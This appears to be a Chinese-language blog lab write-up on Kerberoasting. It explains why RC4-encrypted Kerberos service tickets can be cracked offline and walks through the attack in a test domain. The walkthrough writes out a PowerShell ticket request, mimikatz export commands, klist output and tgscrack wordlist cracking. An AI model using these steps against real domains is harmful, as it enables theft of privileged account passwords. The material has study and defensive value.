本质
Kerberoasting攻击的利用本质在于Kerberos认证中的第四步出现了问题
以下是kerberos的一个认证
可以看到第四步使用了目标的NTLM hash对TGS进行了校验,因此用户会收到一个NTLM hash加密生成的TGS,它的加密算法为·RC4-HMAC·,那么我们在获得这个TGS后,便可以通过穷举的方式,生成TGS与它进行比较,如果相同,就可以代表密码正确。
为什么
那么为什么我们可以生成一个TGS来将它进行比较呢?
原因
域内的所有主机都是可以查询SPN的
域内的任何用户都是可以向域内的任何服务请求TGS
所以,域内的任何一台主机,都可以通过查询SPN,向域内的所有服务请求TGS,然后进行暴力破解,但是对于破解出的明文,只有域用户的是可以利用的,机器账户的不能用于远程连接,所以我们的关注点主要就在域用户下注册的SPN。
利用思路
- 查询SPN,找到有价值的SPN,需要满足以下条件:
- 该SPN注册在域用户帐户(Users)下
- 域用户账户的权限很高
- 请求TGS
- 导出TGS
- 暴力破解
[
](https://blog.csdn.net/qq_18501087/article/details/101593766)
利用条件:
查询SPN,找到有价值的SPN,需要满足以下条件:
1、该SPN注册是用域用户帐户注册的
2、被SPN注册过的域用户成为了服务用户,该服务用户的口令较弱,易于破解
3、当前的域用户权限要高(为什么呢?看如下)
这个高的定义:
在DC上为域账号赋予 “Read servicePrincipalName” 和 “Write serverPrincipalName” 的权限
这个域主机权限要能给一个普通域用户注册成SPN服务用户的权限,这样利用的时候才可以离线破解想要的任意域用户的hash,破解完再将这个SPN删掉,不然就要用域控在域搭建时就设定的SPN服务用户来破解hash,因此如果当前域用户的权限低得话,局限性很大
实验:
第一步:查询相关SPN
在此之前,我们已经在域控上添加了一个bbb的域用户,并且在域控上将他注册为了一个服务账户(当然如果当前域用户权限高的话,你可以自己注册一个SPN)
也可以使用如下脚本会更直观点
https://github.com/nidem/kerberoast/blob/master/GetUserSPNs.vbs
第二步:申请一张指定SPN服务账户的TGS,这里我们请求了使用BBB账户注册的SPN服务test/test
或者使用mimikatz请求
mimikatz :kerberos::ask /target:test/test
这里我们用的如下Powershell
powershell.exe -exec bypass -Command "& {$SPNName = 'test/test'; Add-Type -AssemblyNAme System.IdentityModel; New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $SPNName }"
之后使用Klist查看内存,如下所示,内存中出现了关于test/test的TGT
C:\Users\aaa\Desktop>klist
当前登录 ID 是 0:0x70b3c
缓存的票证: (3)
#0> 客户端: aaa @ ICEICE.COM
服务器: krbtgt/ICEICE.COM @ ICEICE.COM
Kerberos 票证加密类型: AES-256-CTS-HMAC-SHA1-96
票证标志 0x40e10000 -> forwardable renewable initial pre_authent name_ca
nonicalize
开始时间: 7/16/2021 9:09:17 (本地)
结束时间: 7/16/2021 19:09:17 (本地)
续订时间: 7/23/2021 9:09:17 (本地)
会话密钥类型: AES-256-CTS-HMAC-SHA1-96
#1> 客户端: aaa @ ICEICE.COM
服务器: ldap/WIN-1UUF7R7SRLA.iceice.com @ ICEICE.COM
Kerberos 票证加密类型: AES-256-CTS-HMAC-SHA1-96
票证标志 0x40a50000 -> forwardable renewable pre_authent ok_as_delegate
name_canonicalize
开始时间: 7/16/2021 9:09:20 (本地)
结束时间: 7/16/2021 19:09:17 (本地)
续订时间: 7/23/2021 9:09:17 (本地)
会话密钥类型: AES-256-CTS-HMAC-SHA1-96
#2> 客户端: aaa @ ICEICE.COM
服务器: ldap/WIN-1UUF7R7SRLA.iceice.com/iceice.com @ ICEICE.COM
Kerberos 票证加密类型: AES-256-CTS-HMAC-SHA1-96
票证标志 0x40a50000 -> forwardable renewable pre_authent ok_as_delegate
name_canonicalize
开始时间: 7/16/2021 9:09:17 (本地)
结束时间: 7/16/2021 19:09:17 (本地)
续订时间: 7/23/2021 9:09:17 (本地)
会话密钥类型: AES-256-CTS-HMAC-SHA1-96
C:\Users\aaa\Desktop>klist
当前登录 ID 是 0:0x70b3c
缓存的票证: (6)
#0> 客户端: aaa @ ICEICE.COM
服务器: krbtgt/ICEICE.COM @ ICEICE.COM
Kerberos 票证加密类型: AES-256-CTS-HMAC-SHA1-96
票证标志 0x60a10000 -> forwardable forwarded renewable pre_authent name_
canonicalize
开始时间: 7/16/2021 9:09:29 (本地)
结束时间: 7/16/2021 19:09:17 (本地)
续订时间: 7/23/2021 9:09:17 (本地)
会话密钥类型: AES-256-CTS-HMAC-SHA1-96
#1> 客户端: aaa @ ICEICE.COM
服务器: krbtgt/ICEICE.COM @ ICEICE.COM
Kerberos 票证加密类型: AES-256-CTS-HMAC-SHA1-96
票证标志 0x40e10000 -> forwardable renewable initial pre_authent name_ca
nonicalize
开始时间: 7/16/2021 9:09:17 (本地)
结束时间: 7/16/2021 19:09:17 (本地)
续订时间: 7/23/2021 9:09:17 (本地)
会话密钥类型: AES-256-CTS-HMAC-SHA1-96
#2> 客户端: aaa @ ICEICE.COM
服务器: test/test @ ICEICE.COM
Kerberos 票证加密类型: RSADSI RC4-HMAC(NT)
票证标志 0x40a50000 -> forwardable renewable pre_authent ok_as_delegate
name_canonicalize
开始时间: 7/16/2021 9:09:53 (本地)
结束时间: 7/16/2021 19:09:17 (本地)
续订时间: 7/23/2021 9:09:17 (本地)
会话密钥类型: RSADSI RC4-HMAC(NT)
#3> 客户端: aaa @ ICEICE.COM
服务器: cifs/WIN-1UUF7R7SRLA.iceice.com @ ICEICE.COM
Kerberos 票证加密类型: AES-256-CTS-HMAC-SHA1-96
票证标志 0x40a50000 -> forwardable renewable pre_authent ok_as_delegate
name_canonicalize
开始时间: 7/16/2021 9:09:29 (本地)
结束时间: 7/16/2021 19:09:17 (本地)
续订时间: 7/23/2021 9:09:17 (本地)
会话密钥类型: AES-256-CTS-HMAC-SHA1-96
#4> 客户端: aaa @ ICEICE.COM
服务器: ldap/WIN-1UUF7R7SRLA.iceice.com @ ICEICE.COM
Kerberos 票证加密类型: AES-256-CTS-HMAC-SHA1-96
票证标志 0x40a50000 -> forwardable renewable pre_authent ok_as_delegate
name_canonicalize
开始时间: 7/16/2021 9:09:20 (本地)
结束时间: 7/16/2021 19:09:17 (本地)
续订时间: 7/23/2021 9:09:17 (本地)
会话密钥类型: AES-256-CTS-HMAC-SHA1-96
#5> 客户端: aaa @ ICEICE.COM
服务器: ldap/WIN-1UUF7R7SRLA.iceice.com/iceice.com @ ICEICE.COM
Kerberos 票证加密类型: AES-256-CTS-HMAC-SHA1-96
票证标志 0x40a50000 -> forwardable renewable pre_authent ok_as_delegate
name_canonicalize
开始时间: 7/16/2021 9:09:17 (本地)
结束时间: 7/16/2021 19:09:17 (本地)
续订时间: 7/23/2021 9:09:17 (本地)
会话密钥类型: AES-256-CTS-HMAC-SHA1-96
第三步:导出票据
mimikatz.exe “kerberos::list /export” “exit”
第五步:离线破解
之所以能够进行破解,是因为我们后来加入的那些服务加密算法。默认是RC4的,而不是原有服务那种AES-256-CTS-HMAC-SHA1-96。
失败工具:
https://github.com/nidem/kerberoast 工具包地址
这里特么的我使用两个工具都报错了
pip install requests-kerberos
pip install kerberos-sspi
import kerberos 改成 import kerberos_sspi as kerberos
成功工具:
https://github.com/backlion/tgscrack
python2 extractServiceTicketParts.py 2-40a50000-aaa@test~test-ICEICE.COM.kirbi >hash.txt
转成hash形式
go run tgscrack.go -hashfile hash.txt -wordlist top10000.txt 报错了
cd C:\Program Files\Go\src\golang.org\x
git clone https://github.com/golang/crypto.git
go run tgscrack.go -hashfile hash.txt -wordlist top10000.txt
至此,离线破解完成
https://blog.csdn.net/qq_18501087/article/details/101593766
https://mp.weixin.qq.com/s/Relcg8POMXQAKkwKaYJRhw
http://t.zoukankan.com/Yang34-p-14278011.html
https://xz.aliyun.com/t/8690#toc-49
https://blog.csdn.net/Jeeseen123/article/details/109159385
https://mp.weixin.qq.com/s/88GqLe63YIBbTkQH9EIXcg